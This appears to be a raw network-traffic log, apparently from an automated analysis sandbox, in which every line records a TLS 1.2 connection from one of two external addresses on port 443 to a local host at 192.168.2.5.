Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50292 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50306 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50315 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50323 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50330 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50334 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50339 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50341 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50344 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50351 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50354 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50360 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50362 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50364 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50367 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50369 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50373 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50381 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50383 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50386 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50390 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50393 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50404 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50406 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50409 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50411 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50423 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50425 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50427 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50462 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50466 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50468 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50473 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50476 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50485 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50487 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50492 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50494 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50499 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50501 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50503 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50506 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50508 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50511 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50513 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50514 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50518 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50520 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50522 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50526 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50529 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50532 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50536 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50543 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50545 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50548 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50552 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50557 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50558 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50564 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50566 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50568 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50587 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50590 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50594 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50598 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50597 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50604 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50612 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50615 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50619 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50618 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50622 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50625 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50631 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50635 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50638 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50640 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50653 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50654 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50655 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50658 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50660 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50663 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50667 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50665 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50675 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50672 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50679 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:50762 version: TLS 1.2
